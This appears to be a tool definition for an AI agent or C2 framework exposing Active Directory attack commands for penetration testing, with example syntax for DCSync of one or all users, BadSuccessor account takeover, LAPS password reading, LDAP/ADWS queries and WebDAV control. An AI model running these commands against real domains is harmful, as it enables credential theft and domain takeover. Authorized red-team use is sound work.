bof_ad
Run Active Directory exploitation commands including DCSync, LDAP queries, LAPS reading, and WebDAV operations for penetration testing.
Instructions
AD-BOF: Active Directory exploitation commands.
adwssearch [-a attributes] [--dc dc] [--dn dn] Executes ADWS query. Example: adwssearch (objectClass=*) -a *,ntsecuritydescriptor --dc DC1
badtakeover BOF for account takeover via BadSuccessor (dMSA). Example: badtakeover "OU=TestOU,DC=domain,DC=dom" attacker S-1-5-21-...-1104 "CN=admin,CN=Users,DC=domain,DC=dom" domain.dom
dcsync single [-ou ou_path] [-dc dc_address] [--ldaps] [--only-nt] DCSync a single user. Example: dcsync single jane.doe -dc dc01.corp.local
dcsync all [-ou ou_path] [-dc dc_address] [--ldaps] [--only-nt] [--only-users] DCSync all domain users. Example: dcsync all -dc dc01.corp.local --only-users
ldapsearch [-a attributes] [-c count] [-s scope] [--dc dc] [--dn dn] [--ldaps] Raw LDAP query. Example: ldapsearch (objectClass=*) -a *,ntsecuritydescriptor --dc DC1
ldapq computers Get list of computers from LDAP (auto-populates Targets tab). Example: ldapq computers
readlaps [-dc dc] [-dn dn] {-target name | -target-dn dn} Read LAPS password. Example: readlaps -dc dc01.domain.local -target WINCLIENT
webdav enable Enable WebDAV client service (no elevated privileges needed).
webdav status Check if WebDAV is running on remote hosts. Example: webdav status 192.168.0.1,192.168.0.2
Input Schema
| Name | Required | Description | Default |
|---|---|---|---|
| agent_id | Yes | ||
| command | Yes | ||
| args | No |
Output Schema
| Name | Required | Description | Default |
|---|---|---|---|
| result | Yes |